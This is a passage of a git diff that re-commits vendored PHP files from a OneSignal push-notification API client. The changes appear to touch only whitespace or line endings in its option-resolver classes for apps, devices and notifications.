JsonException($e->getMessage(), $e->getCode(), $e); + } + + if (!is_array($content)) { + throw new JsonException(sprintf('JSON content was expected to decode to an array, %s returned.', gettype($content))); + } + + return $content; + } + + /** + * @return object + * + * @throws InvalidArgumentException + */ + public function api(string $name) + { + switch ($name) { + case 'apps': + $api = new Apps($this, $this->resolverFactory); + + break; + case 'devices': + $api = new Devices($this, $this->resolverFactory); + + break; + case 'notifications': + $api = new Notifications($this, $this->resolverFactory); + + break; + default: + throw new InvalidArgumentException("Undefined api instance called: '$name'."); + } + + return $api; + } + + public function __call(string $name, array $args): object + { + try { + return $this->api($name); + } catch (InvalidArgumentException $e) { + throw new BadMethodCallException("Undefined method called: '$name'."); + } + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/AppOutcomesResolver.php b/vendor/norkunas/onesignal-php-api/src/Resolver/AppOutcomesResolver.php index 08c9481559..48916bf637 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/AppOutcomesResolver.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/AppOutcomesResolver.php @@ -1,64 +1,64 @@ -setDefined('outcome_names') - ->setAllowedTypes('outcome_names', 'string[]') - ->setDefined('outcome_time_range') - ->setAllowedTypes('outcome_time_range', 'string') - ->setAllowedValues('outcome_time_range', [Apps::OUTCOME_TIME_RANGE_HOUR, Apps::OUTCOME_TIME_RANGE_DAY, Apps::OUTCOME_TIME_RANGE_MONTH]) - ->setDefault('outcome_time_range', Apps::OUTCOME_TIME_RANGE_HOUR) - ->setDefined('outcome_platforms') - ->setAllowedTypes('outcome_platforms', 'int[]') - ->setAllowedValues('outcome_platforms', static function (array $platforms): bool { - $intersect = array_intersect($platforms, [ - Devices::IOS, - Devices::ANDROID, - Devices::AMAZON, - Devices::WINDOWS_PHONE, - Devices::WINDOWS_PHONE_MPNS, - Devices::CHROME_APP, - Devices::CHROME_WEB, - Devices::WINDOWS_PHONE_WNS, - Devices::SAFARI, - Devices::FIREFOX, - Devices::MACOS, - Devices::ALEXA, - Devices::EMAIL, - Devices::HUAWEI, - Devices::SMS, - ]); - - return count($intersect) === count($platforms); - }) - ->setNormalizer('outcome_platforms', static function (Options $options, array $value): string { - return implode(',', $value); - }) - ->setDefined('outcome_attribution') - ->setAllowedTypes('outcome_attribution', 'string') - ->setAllowedValues('outcome_attribution', [ - Apps::OUTCOME_ATTRIBUTION_TOTAL, - Apps::OUTCOME_ATTRIBUTION_DIRECT, - Apps::OUTCOME_ATTRIBUTION_INFLUENCED, - Apps::OUTCOME_ATTRIBUTION_UNATTRIBUTED, - ]) - ->setDefault('outcome_attribution', Apps::OUTCOME_ATTRIBUTION_TOTAL) - ->setRequired(['outcome_names']) - ->resolve($data); - } -} +setDefined('outcome_names') + ->setAllowedTypes('outcome_names', 'string[]') + ->setDefined('outcome_time_range') + ->setAllowedTypes('outcome_time_range', 'string') + ->setAllowedValues('outcome_time_range', [Apps::OUTCOME_TIME_RANGE_HOUR, Apps::OUTCOME_TIME_RANGE_DAY, Apps::OUTCOME_TIME_RANGE_MONTH]) + ->setDefault('outcome_time_range', Apps::OUTCOME_TIME_RANGE_HOUR) + ->setDefined('outcome_platforms') + ->setAllowedTypes('outcome_platforms', 'int[]') + ->setAllowedValues('outcome_platforms', static function (array $platforms): bool { + $intersect = array_intersect($platforms, [ + Devices::IOS, + Devices::ANDROID, + Devices::AMAZON, + Devices::WINDOWS_PHONE, + Devices::WINDOWS_PHONE_MPNS, + Devices::CHROME_APP, + Devices::CHROME_WEB, + Devices::WINDOWS_PHONE_WNS, + Devices::SAFARI, + Devices::FIREFOX, + Devices::MACOS, + Devices::ALEXA, + Devices::EMAIL, + Devices::HUAWEI, + Devices::SMS, + ]); + + return count($intersect) === count($platforms); + }) + ->setNormalizer('outcome_platforms', static function (Options $options, array $value): string { + return implode(',', $value); + }) + ->setDefined('outcome_attribution') + ->setAllowedTypes('outcome_attribution', 'string') + ->setAllowedValues('outcome_attribution', [ + Apps::OUTCOME_ATTRIBUTION_TOTAL, + Apps::OUTCOME_ATTRIBUTION_DIRECT, + Apps::OUTCOME_ATTRIBUTION_INFLUENCED, + Apps::OUTCOME_ATTRIBUTION_UNATTRIBUTED, + ]) + ->setDefault('outcome_attribution', Apps::OUTCOME_ATTRIBUTION_TOTAL) + ->setRequired(['outcome_names']) + ->resolve($data); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/AppResolver.php b/vendor/norkunas/onesignal-php-api/src/Resolver/AppResolver.php index 0792422654..b81f63fdeb 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/AppResolver.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/AppResolver.php @@ -1,64 +1,64 @@ -setRequired('name') - ->setAllowedTypes('name', 'string') - ->setDefined('apns_env') - ->setAllowedTypes('apns_env', 'string') - ->setAllowedValues('apns_env', ['sandbox', 'production']) - ->setDefined('apns_p12') - ->setAllowedTypes('apns_p12', 'string') - ->setDefined('apns_p12_password') - ->setAllowedTypes('apns_p12_password', 'string') - ->setDefined('gcm_key') - ->setAllowedTypes('gcm_key', 'string') - ->setDefined('android_gcm_sender_id') - ->setAllowedTypes('android_gcm_sender_id', 'string') - ->setDefined('chrome_key') - ->setAllowedTypes('chrome_key', 'string') - ->setDefined('safari_apns_p12') - ->setAllowedTypes('safari_apns_p12', 'string') - ->setDefined('chrome_web_key') - ->setAllowedTypes('chrome_web_key', 'string') - ->setDefined('safari_apns_p12_password') - ->setAllowedTypes('safari_apns_p12_password', 'string') - ->setDefined('site_name') - ->setAllowedTypes('site_name', 'string') - ->setDefined('safari_site_origin') - ->setAllowedTypes('safari_site_origin', 'string') - ->setDefined('safari_icon_16_16') - ->setAllowedTypes('safari_icon_16_16', 'string') - ->setDefined('safari_icon_32_32') - ->setAllowedTypes('safari_icon_32_32', 'string') - ->setDefined('safari_icon_64_64') - ->setAllowedTypes('safari_icon_64_64', 'string') - ->setDefined('safari_icon_128_128') - ->setAllowedTypes('safari_icon_128_128', 'string') - ->setDefined('safari_icon_256_256') - ->setAllowedTypes('safari_icon_256_256', 'string') - ->setDefined('chrome_web_origin') - ->setAllowedTypes('chrome_web_origin', 'string') - ->setDefined('chrome_web_gcm_sender_id') - ->setAllowedTypes('chrome_web_gcm_sender_id', 'string') - ->setDefined('chrome_web_default_notification_icon') - ->setAllowedTypes('chrome_web_default_notification_icon', 'string') - ->setDefined('chrome_web_sub_domain') - ->setAllowedTypes('chrome_web_sub_domain', 'string') - ->setDefined('organization_id') - ->setAllowedTypes('organization_id', 'string') - ->resolve($data); - } -} +setRequired('name') + ->setAllowedTypes('name', 'string') + ->setDefined('apns_env') + ->setAllowedTypes('apns_env', 'string') + ->setAllowedValues('apns_env', ['sandbox', 'production']) + ->setDefined('apns_p12') + ->setAllowedTypes('apns_p12', 'string') + ->setDefined('apns_p12_password') + ->setAllowedTypes('apns_p12_password', 'string') + ->setDefined('gcm_key') + ->setAllowedTypes('gcm_key', 'string') + ->setDefined('android_gcm_sender_id') + ->setAllowedTypes('android_gcm_sender_id', 'string') + ->setDefined('chrome_key') + ->setAllowedTypes('chrome_key', 'string') + ->setDefined('safari_apns_p12') + ->setAllowedTypes('safari_apns_p12', 'string') + ->setDefined('chrome_web_key') + ->setAllowedTypes('chrome_web_key', 'string') + ->setDefined('safari_apns_p12_password') + ->setAllowedTypes('safari_apns_p12_password', 'string') + ->setDefined('site_name') + ->setAllowedTypes('site_name', 'string') + ->setDefined('safari_site_origin') + ->setAllowedTypes('safari_site_origin', 'string') + ->setDefined('safari_icon_16_16') + ->setAllowedTypes('safari_icon_16_16', 'string') + ->setDefined('safari_icon_32_32') + ->setAllowedTypes('safari_icon_32_32', 'string') + ->setDefined('safari_icon_64_64') + ->setAllowedTypes('safari_icon_64_64', 'string') + ->setDefined('safari_icon_128_128') + ->setAllowedTypes('safari_icon_128_128', 'string') + ->setDefined('safari_icon_256_256') + ->setAllowedTypes('safari_icon_256_256', 'string') + ->setDefined('chrome_web_origin') + ->setAllowedTypes('chrome_web_origin', 'string') + ->setDefined('chrome_web_gcm_sender_id') + ->setAllowedTypes('chrome_web_gcm_sender_id', 'string') + ->setDefined('chrome_web_default_notification_icon') + ->setAllowedTypes('chrome_web_default_notification_icon', 'string') + ->setDefined('chrome_web_sub_domain') + ->setAllowedTypes('chrome_web_sub_domain', 'string') + ->setDefined('organization_id') + ->setAllowedTypes('organization_id', 'string') + ->resolve($data); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceFocusResolver.php b/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceFocusResolver.php index dcdbce3f3c..09b7a45834 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceFocusResolver.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceFocusResolver.php @@ -1,23 +1,23 @@ -setDefault('state', 'ping') - ->setAllowedTypes('state', 'string') - ->setRequired('active_time') - ->setAllowedTypes('active_time', 'int') - ->resolve($data); - } -} +setDefault('state', 'ping') + ->setAllowedTypes('state', 'string') + ->setRequired('active_time') + ->setAllowedTypes('active_time', 'int') + ->resolve($data); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/DevicePurchaseResolver.php b/vendor/norkunas/onesignal-php-api/src/Resolver/DevicePurchaseResolver.php index 877b095363..160036f4ae 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/DevicePurchaseResolver.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/DevicePurchaseResolver.php @@ -1,36 +1,36 @@ -setDefined('existing') - ->setAllowedTypes('existing', 'bool') - ->setRequired('purchases') - ->setAllowedTypes('purchases', 'array') - ->resolve($data); - - foreach ($data['purchases'] as $key => $purchase) { - $data['purchases'][$key] = (new OptionsResolver()) - ->setRequired('sku') - ->setAllowedTypes('sku', 'string') - ->setRequired('amount') - ->setAllowedTypes('amount', 'float') - ->setRequired('iso') - ->setAllowedTypes('iso', 'string') - ->resolve($purchase); - } - - return $data; - } -} +setDefined('existing') + ->setAllowedTypes('existing', 'bool') + ->setRequired('purchases') + ->setAllowedTypes('purchases', 'array') + ->resolve($data); + + foreach ($data['purchases'] as $key => $purchase) { + $data['purchases'][$key] = (new OptionsResolver()) + ->setRequired('sku') + ->setAllowedTypes('sku', 'string') + ->setRequired('amount') + ->setAllowedTypes('amount', 'float') + ->setRequired('iso') + ->setAllowedTypes('iso', 'string') + ->resolve($purchase); + } + + return $data; + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceResolver.php b/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceResolver.php index 37e16e84e2..83806cc1a0 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceResolver.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceResolver.php @@ -1,117 +1,117 @@ -config = $config; - $this->isNewDevice = $isNewDevice; - } - - /** - * {@inheritdoc} - */ - public function resolve(array $data): array - { - $resolver = (new OptionsResolver()) - ->setDefined('identifier') - ->setAllowedTypes('identifier', 'string') - ->setDefined('language') - ->setAllowedTypes('language', 'string') - ->setDefined('timezone') - ->setAllowedTypes('timezone', 'int') - ->setDefined('game_version') - ->setAllowedTypes('game_version', 'string') - ->setDefined('device_model') - ->setAllowedTypes('device_model', 'string') - ->setDefined('device_os') - ->setAllowedTypes('device_os', 'string') - ->setDefined('ad_id') - ->setAllowedTypes('ad_id', 'string') - ->setDefined('sdk') - ->setAllowedTypes('sdk', 'string') - ->setDefined('session_count') - ->setAllowedTypes('session_count', 'int') - ->setDefined('tags') - ->setAllowedTypes('tags', 'array') - ->setDefined('amount_spent') - ->setAllowedTypes('amount_spent', 'float') - ->setDefined('created_at') - ->setAllowedTypes('created_at', 'int') - ->setDefined('playtime') - ->setAllowedTypes('playtime', 'int') - ->setDefined('badge_count') - ->setAllowedTypes('badge_count', 'int') - ->setDefined('last_active') - ->setAllowedTypes('last_active', 'int') - ->setDefined('notification_types') - ->setAllowedTypes('notification_types', 'int') - ->setAllowedValues('notification_types', [1, -2]) - ->setDefined('test_type') - ->setAllowedTypes('test_type', 'int') - ->setAllowedValues('test_type', [1, 2]) - ->setDefined('long') - ->setAllowedTypes('long', 'double') - ->setDefined('lat') - ->setAllowedTypes('lat', 'double') - ->setDefined('country') - ->setAllowedTypes('country', 'string') - ->setDefined('external_user_id') - ->setAllowedTypes('external_user_id', 'string') - ->setDefault('app_id', $this->config->getApplicationId()) - ->setAllowedTypes('app_id', 'string'); - - if ($this->isNewDevice) { - $resolver - ->setRequired('device_type') - ->setAllowedTypes('device_type', 'int') - ->setAllowedValues('device_type', [ - Devices::IOS, - Devices::ANDROID, - Devices::AMAZON, - Devices::WINDOWS_PHONE, - Devices::WINDOWS_PHONE_MPNS, - Devices::CHROME_APP, - Devices::CHROME_WEB, - Devices::WINDOWS_PHONE_WNS, - Devices::SAFARI, - Devices::FIREFOX, - Devices::MACOS, - Devices::ALEXA, - Devices::EMAIL, - Devices::HUAWEI, - Devices::SMS, - ]); - } else { - $resolver - ->setDefined('ip') - ->setAllowedTypes('ip', 'string') - ->setAllowedValues('ip', static function (string $ip): bool { - return (bool) filter_var($ip, FILTER_VALIDATE_IP); - }); - } - - return $resolver->resolve($data); - } - - public function setIsNewDevice(bool $isNewDevice): void - { - $this->isNewDevice = $isNewDevice; - } - - public function getIsNewDevice(): bool - { - return $this->isNewDevice; - } -} +config = $config; + $this->isNewDevice = $isNewDevice; + } + + /** + * {@inheritdoc} + */ + public function resolve(array $data): array + { + $resolver = (new OptionsResolver()) + ->setDefined('identifier') + ->setAllowedTypes('identifier', 'string') + ->setDefined('language') + ->setAllowedTypes('language', 'string') + ->setDefined('timezone') + ->setAllowedTypes('timezone', 'int') + ->setDefined('game_version') + ->setAllowedTypes('game_version', 'string') + ->setDefined('device_model') + ->setAllowedTypes('device_model', 'string') + ->setDefined('device_os') + ->setAllowedTypes('device_os', 'string') + ->setDefined('ad_id') + ->setAllowedTypes('ad_id', 'string') + ->setDefined('sdk') + ->setAllowedTypes('sdk', 'string') + ->setDefined('session_count') + ->setAllowedTypes('session_count', 'int') + ->setDefined('tags') + ->setAllowedTypes('tags', 'array') + ->setDefined('amount_spent') + ->setAllowedTypes('amount_spent', 'float') + ->setDefined('created_at') + ->setAllowedTypes('created_at', 'int') + ->setDefined('playtime') + ->setAllowedTypes('playtime', 'int') + ->setDefined('badge_count') + ->setAllowedTypes('badge_count', 'int') + ->setDefined('last_active') + ->setAllowedTypes('last_active', 'int') + ->setDefined('notification_types') + ->setAllowedTypes('notification_types', 'int') + ->setAllowedValues('notification_types', [1, -2]) + ->setDefined('test_type') + ->setAllowedTypes('test_type', 'int') + ->setAllowedValues('test_type', [1, 2]) + ->setDefined('long') + ->setAllowedTypes('long', 'double') + ->setDefined('lat') + ->setAllowedTypes('lat', 'double') + ->setDefined('country') + ->setAllowedTypes('country', 'string') + ->setDefined('external_user_id') + ->setAllowedTypes('external_user_id', 'string') + ->setDefault('app_id', $this->config->getApplicationId()) + ->setAllowedTypes('app_id', 'string'); + + if ($this->isNewDevice) { + $resolver + ->setRequired('device_type') + ->setAllowedTypes('device_type', 'int') + ->setAllowedValues('device_type', [ + Devices::IOS, + Devices::ANDROID, + Devices::AMAZON, + Devices::WINDOWS_PHONE, + Devices::WINDOWS_PHONE_MPNS, + Devices::CHROME_APP, + Devices::CHROME_WEB, + Devices::WINDOWS_PHONE_WNS, + Devices::SAFARI, + Devices::FIREFOX, + Devices::MACOS, + Devices::ALEXA, + Devices::EMAIL, + Devices::HUAWEI, + Devices::SMS, + ]); + } else { + $resolver + ->setDefined('ip') + ->setAllowedTypes('ip', 'string') + ->setAllowedValues('ip', static function (string $ip): bool { + return (bool) filter_var($ip, FILTER_VALIDATE_IP); + }); + } + + return $resolver->resolve($data); + } + + public function setIsNewDevice(bool $isNewDevice): void + { + $this->isNewDevice = $isNewDevice; + } + + public function getIsNewDevice(): bool + { + return $this->isNewDevice; + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceSessionResolver.php b/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceSessionResolver.php index 07a2c5b170..8b7e3eee23 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceSessionResolver.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceSessionResolver.php @@ -1,58 +1,58 @@ -setDefined('identifier') - ->setAllowedTypes('identifier', 'string') - ->setDefined('language') - ->setAllowedTypes('language', 'string') - ->setDefined('timezone') - ->setAllowedTypes('timezone', 'int') - ->setDefined('game_version') - ->setAllowedTypes('game_version', 'string') - ->setDefined('device_os') - ->setAllowedTypes('device_os', 'string') - // @todo: remove "device_model" later (this option is probably deprecated as it is removed from documentation) - ->setDefined('device_model') - ->setAllowedTypes('device_model', 'string') - ->setDefined('ad_id') - ->setAllowedTypes('ad_id', 'string') - ->setDefined('sdk') - ->setAllowedTypes('sdk', 'string') - ->setDefined('tags') - ->setAllowedTypes('tags', 'array') - ->setDefined('device_type') - ->setAllowedTypes('device_type', 'int') - ->setAllowedValues('device_type', [ - Devices::IOS, - Devices::ANDROID, - Devices::AMAZON, - Devices::WINDOWS_PHONE, - Devices::WINDOWS_PHONE_MPNS, - Devices::CHROME_APP, - Devices::CHROME_WEB, - Devices::WINDOWS_PHONE_WNS, - Devices::SAFARI, - Devices::FIREFOX, - Devices::MACOS, - Devices::ALEXA, - Devices::EMAIL, - Devices::HUAWEI, - Devices::SMS, - ]) - ->resolve($data); - } -} +setDefined('identifier') + ->setAllowedTypes('identifier', 'string') + ->setDefined('language') + ->setAllowedTypes('language', 'string') + ->setDefined('timezone') + ->setAllowedTypes('timezone', 'int') + ->setDefined('game_version') + ->setAllowedTypes('game_version', 'string') + ->setDefined('device_os') + ->setAllowedTypes('device_os', 'string') + // @todo: remove "device_model" later (this option is probably deprecated as it is removed from documentation) + ->setDefined('device_model') + ->setAllowedTypes('device_model', 'string') + ->setDefined('ad_id') + ->setAllowedTypes('ad_id', 'string') + ->setDefined('sdk') + ->setAllowedTypes('sdk', 'string') + ->setDefined('tags') + ->setAllowedTypes('tags', 'array') + ->setDefined('device_type') + ->setAllowedTypes('device_type', 'int') + ->setAllowedValues('device_type', [ + Devices::IOS, + Devices::ANDROID, + Devices::AMAZON, + Devices::WINDOWS_PHONE, + Devices::WINDOWS_PHONE_MPNS, + Devices::CHROME_APP, + Devices::CHROME_WEB, + Devices::WINDOWS_PHONE_WNS, + Devices::SAFARI, + Devices::FIREFOX, + Devices::MACOS, + Devices::ALEXA, + Devices::EMAIL, + Devices::HUAWEI, + Devices::SMS, + ]) + ->resolve($data); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceTagsResolver.php b/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceTagsResolver.php index fed2e03d57..1522101516 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceTagsResolver.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/DeviceTagsResolver.php @@ -1,22 +1,22 @@ -setDefined('tags') - ->setAllowedTypes('tags', 'array') - ->setRequired(['tags']) - ->resolve($data); - } -} +setDefined('tags') + ->setAllowedTypes('tags', 'array') + ->setRequired(['tags']) + ->resolve($data); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/NotificationHistoryResolver.php b/vendor/norkunas/onesignal-php-api/src/Resolver/NotificationHistoryResolver.php index 2f9cc4e611..a442f1f872 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/NotificationHistoryResolver.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/NotificationHistoryResolver.php @@ -1,34 +1,34 @@ -config = $config; - } - - /** - * {@inheritdoc} - */ - public function resolve(array $data): array - { - return (new OptionsResolver()) - ->setRequired('events') - ->setAllowedTypes('events', 'string') - ->setAllowedValues('events', ['sent', 'clicked']) - ->setRequired('email') - ->setAllowedTypes('email', 'string') - ->setDefault('app_id', $this->config->getApplicationId()) - ->setAllowedTypes('app_id', 'string') - ->resolve($data); - } -} +config = $config; + } + + /** + * {@inheritdoc} + */ + public function resolve(array $data): array + { + return (new OptionsResolver()) + ->setRequired('events') + ->setAllowedTypes('events', 'string') + ->setAllowedValues('events', ['sent', 'clicked']) + ->setRequired('email') + ->setAllowedTypes('email', 'string') + ->setDefault('app_id', $this->config->getApplicationId()) + ->setAllowedTypes('app_id', 'string') + ->resolve($data); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/NotificationResolver.php b/vendor/norkunas/onesignal-php-api/src/Resolver/NotificationResolver.php index fdbc17cabb..85346280f7 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/NotificationResolver.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/NotificationResolver.php @@ -1,336 +1,336 @@ -config = $config; - } - - /** - * {@inheritdoc} - */ - public function resolve(array $data): array - { - return (new OptionsResolver()) - ->setDefined('name') - ->setAllowedTypes('name', 'string') - ->setDefined('contents') - ->setAllowedTypes('contents', 'array') - ->setDefined('headings') - ->setAllowedTypes('headings', 'array') - ->setDefined('subtitle') - ->setAllowedTypes('subtitle', 'array') - ->setDefined('isIos') - ->setAllowedTypes('isIos', 'bool') - ->setDefined('isAndroid') - ->setAllowedTypes('isAndroid', 'bool') - ->setDefined('isWP') - ->setAllowedTypes('isWP', 'bool') - ->setDefined('isWP_WNS') - ->setAllowedTypes('isWP_WNS', 'bool') - ->setDefined('isAdm') - ->setAllowedTypes('isAdm', 'bool') - ->setDefined('isChrome') - ->setAllowedTypes('isChrome', 'bool') - ->setDefined('isChromeWeb') - ->setAllowedTypes('isChromeWeb', 'bool') - ->setDefined('isFirefox') - ->setAllowedTypes('isFirefox', 'bool') - ->setDefined('isSafari') - ->setAllowedTypes('isSafari', 'bool') - ->setDefined('isAnyWeb') - ->setAllowedTypes('isAnyWeb', 'bool') - ->setDefined('included_segments') - ->setAllowedTypes('included_segments', 'array') - ->setDefined('excluded_segments') - ->setAllowedTypes('excluded_segments', 'array') - ->setDefined('include_player_ids') - ->setAllowedTypes('include_player_ids', 'array') - ->setDefined('include_ios_tokens') - ->setAllowedTypes('include_ios_tokens', 'array') - ->setDefined('include_android_reg_ids') - ->setAllowedTypes('include_android_reg_ids', 'array') - ->setDefined('include_external_user_ids') - ->setAllowedTypes('include_external_user_ids', 'array') - ->setDefined('channel_for_external_user_ids') - ->setAllowedTypes('channel_for_external_user_ids', 'string') - ->setAllowedValues('channel_for_external_user_ids', ['push', 'email']) - ->setDefined('include_email_tokens') - ->setAllowedTypes('include_email_tokens', 'array') - ->setDefined('include_wp_uris') - ->setAllowedTypes('include_wp_uris', 'array') - ->setDefined('include_wp_wns_uris') - ->setAllowedTypes('include_wp_wns_uris', 'array') - ->setDefined('include_amazon_reg_ids') - ->setAllowedTypes('include_amazon_reg_ids', 'array') - ->setDefined('include_chrome_reg_ids') - ->setAllowedTypes('include_chrome_reg_ids', 'array') - ->setDefined('include_chrome_web_reg_ids') - ->setAllowedTypes('include_chrome_web_reg_ids', 'array') - ->setDefined('app_ids') - ->setAllowedTypes('app_ids', 'array') - ->setDefined('filters') - ->setAllowedTypes('filters', 'array') - ->setNormalizer('filters', function (Options $options, array $values) { - return $this->normalizeFilters($options, $values); - }) - ->setDefined('ios_badgeType') - ->setAllowedTypes('ios_badgeType', 'string') - ->setAllowedValues('ios_badgeType', ['None', 'SetTo', 'Increase']) - ->setDefined('ios_badgeCount') - ->setAllowedTypes('ios_badgeCount', 'int') - ->setDefined('ios_sound') - ->setAllowedTypes('ios_sound', 'string') - ->setDefined('android_sound') - ->setAllowedTypes('android_sound', 'string') - ->setDefined('adm_sound') - ->setAllowedTypes('adm_sound', 'string') - ->setDefined('wp_sound') - ->setAllowedTypes('wp_sound', 'string') - ->setDefined('wp_wns_sound') - ->setAllowedTypes('wp_wns_sound', 'string') - ->setDefined('data') - ->setAllowedTypes('data', 'array') - ->setDefined('buttons') - ->setAllowedTypes('buttons', 'array') - ->setNormalizer('buttons', function (Options $options, array $values) { - return $this->normalizeButtons($values); - }) - ->setDefined('android_channel_id') - ->setAllowedTypes('android_channel_id', 'string') - ->setDefined('existing_android_channel_id') - ->setAllowedTypes('existing_android_channel_id', 'string') - ->setDefined('android_background_layout') - ->setAllowedTypes('android_background_layout', 'array') - ->setAllowedValues('android_background_layout', function (array $layouts) { - return $this->filterAndroidBackgroundLayout($layouts); - }) - ->setDefined('small_icon') - ->setAllowedTypes('small_icon', 'string') - ->setDefined('large_icon') - ->setAllowedTypes('large_icon', 'string') - ->setDefined('ios_attachments') - ->setAllowedTypes('ios_attachments', 'array') - ->setAllowedValues('ios_attachments', function (array $attachments) { - return $this->filterIosAttachments($attachments); - }) - ->setDefined('big_picture') - ->setAllowedTypes('big_picture', 'string') - ->setDefined('adm_small_icon') - ->setAllowedTypes('adm_small_icon', 'string') - ->setDefined('adm_large_icon') - ->setAllowedTypes('adm_large_icon', 'string') - ->setDefined('adm_big_picture') - ->setAllowedTypes('adm_big_picture', 'string') - ->setDefined('web_buttons') - ->setAllowedTypes('web_buttons', 'array') - ->setAllowedValues('web_buttons', function (array $buttons) { - return $this->filterWebButtons($buttons); - }) - ->setDefined('ios_category') - ->setAllowedTypes('ios_category', 'string') - ->setDefined('chrome_icon') - ->setAllowedTypes('chrome_icon', 'string') - ->setDefined('chrome_big_picture') - ->setAllowedTypes('chrome_big_picture', 'string') - ->setDefined('chrome_web_icon') - ->setAllowedTypes('chrome_web_icon', 'string') - ->setDefined('chrome_web_image') - ->setAllowedTypes('chrome_web_image', 'string') - ->setDefined('chrome_web_badge') - ->setAllowedTypes('chrome_web_badge', 'string') - ->setDefined('firefox_icon') - ->setAllowedTypes('firefox_icon', 'string') - ->setDefined('url') - ->setAllowedTypes('url', 'string') - ->setAllowedValues('url', function (string $value) { - return $this->filterUrl($value); - }) - ->setDefined('web_url') - ->setAllowedTypes('web_url', 'string') - ->setAllowedValues('web_url', function (string $value) { - return $this->filterUrl($value); - }) - ->setDefined('app_url') - ->setAllowedTypes('app_url', 'string') - ->setDefined('send_after') - ->setAllowedTypes('send_after', DateTimeInterface::class) - ->setNormalizer('send_after', function (Options $options, DateTimeInterface $value) { - return $this->normalizeDateTime($options, $value, self::SEND_AFTER_FORMAT); - }) - ->setDefined('delayed_option') - ->setAllowedTypes('delayed_option', 'string') - ->setAllowedValues('delayed_option', ['timezone', 'last-active']) - ->setDefined('delivery_time_of_day') - ->setAllowedTypes('delivery_time_of_day', DateTimeInterface::class) - ->setNormalizer('delivery_time_of_day', function (Options $options, DateTimeInterface $value) { - return $this->normalizeDateTime($options, $value, self::DELIVERY_TIME_OF_DAY_FORMAT); - }) - ->setDefined('android_led_color') - ->setAllowedTypes('android_led_color', 'string') - ->setDefined('android_accent_color') - ->setAllowedTypes('android_accent_color', 'string') - ->setDefined('android_visibility') - ->setAllowedTypes('android_visibility', 'int') - ->setAllowedValues('android_visibility', [-1, 0, 1]) - ->setDefined('collapse_id') - ->setAllowedTypes('collapse_id', 'string') - ->setDefined('content_available') - ->setAllowedTypes('content_available', 'bool') - ->setDefined('mutable_content') - ->setAllowedTypes('mutable_content', 'bool') - ->setDefined('android_background_data') - ->setAllowedTypes('android_background_data', 'bool') - ->setDefined('amazon_background_data') - ->setAllowedTypes('amazon_background_data', 'bool') - ->setDefined('template_id') - ->setAllowedTypes('template_id', 'string') - ->setDefined('android_group') - ->setAllowedTypes('android_group', 'string') - ->setDefined('android_group_message') - ->setAllowedTypes('android_group_message', 'array') - ->setDefined('adm_group') - ->setAllowedTypes('adm_group', 'string') - ->setDefined('adm_group_message') - ->setAllowedTypes('adm_group_message', 'array') - ->setDefined('thread_id') - ->setAllowedTypes('thread_id', 'string') - ->setDefined('summary_arg') - ->setAllowedTypes('summary_arg', 'string') - ->setDefined('summary_arg_count') - ->setAllowedTypes('summary_arg_count', 'int') - ->setDefined('ttl') - ->setAllowedTypes('ttl', 'int') - ->setDefined('priority') - ->setAllowedTypes('priority', 'int') - ->setDefault('app_id', $this->config->getApplicationId()) - ->setAllowedTypes('app_id', 'string') - ->setDefined('email_subject') - ->setAllowedTypes('email_subject', 'string') - ->setDefined('email_body') - ->setAllowedTypes('email_body', 'string') - ->setDefined('email_from_name') - ->setAllowedTypes('email_from_name', 'string') - ->setDefined('email_from_address') - ->setAllowedTypes('email_from_address', 'string') - ->setDefined('external_id') - ->setAllowedTypes('external_id', 'string') - ->setDefined('web_push_topic') - ->setAllowedTypes('web_push_topic', 'string') - ->setDefined('apns_push_type_override') - ->setAllowedTypes('apns_push_type_override', 'string') - ->setAllowedValues('apns_push_type_override', ['voip']) - ->setDefined('sms_from') - ->setAllowedTypes('sms_from', 'string') - ->setDefined('sms_media_urls') - ->setAllowedTypes('sms_media_urls', 'array') - ->resolve($data); - } - - private function normalizeFilters(Options $options, array $values): array - { - $filters = []; - - foreach ($values as $filter) { - if (isset($filter['field'])) { - $filters[] = $filter; - } elseif (isset($filter['operator'])) { - $filters[] = ['operator' => 'OR']; - } - } - - return $filters; - } - - /** - * @param mixed $value - */ - private function filterUrl($value): bool - { - return (bool) filter_var($value, FILTER_VALIDATE_URL); - } - - private function normalizeButtons(array $values): array - { - $buttons = []; - - foreach ($values as $button) { - if (!isset($button['text'])) { - continue; - } - - $buttons[] = [ - 'id' => $button['id'] ?? random_int(0, PHP_INT_MAX), - 'text' => $button['text'], - 'icon' => $button['icon'] ?? null, - ]; - } - - return $buttons; - } - - private function filterAndroidBackgroundLayout(array $layouts): bool - { - if (count($layouts) === 0) { - return false; - } - - $requiredKeys = ['image', 'headings_color', 'contents_color']; - - foreach ($layouts as $k => $v) { - if (!is_string($v) || 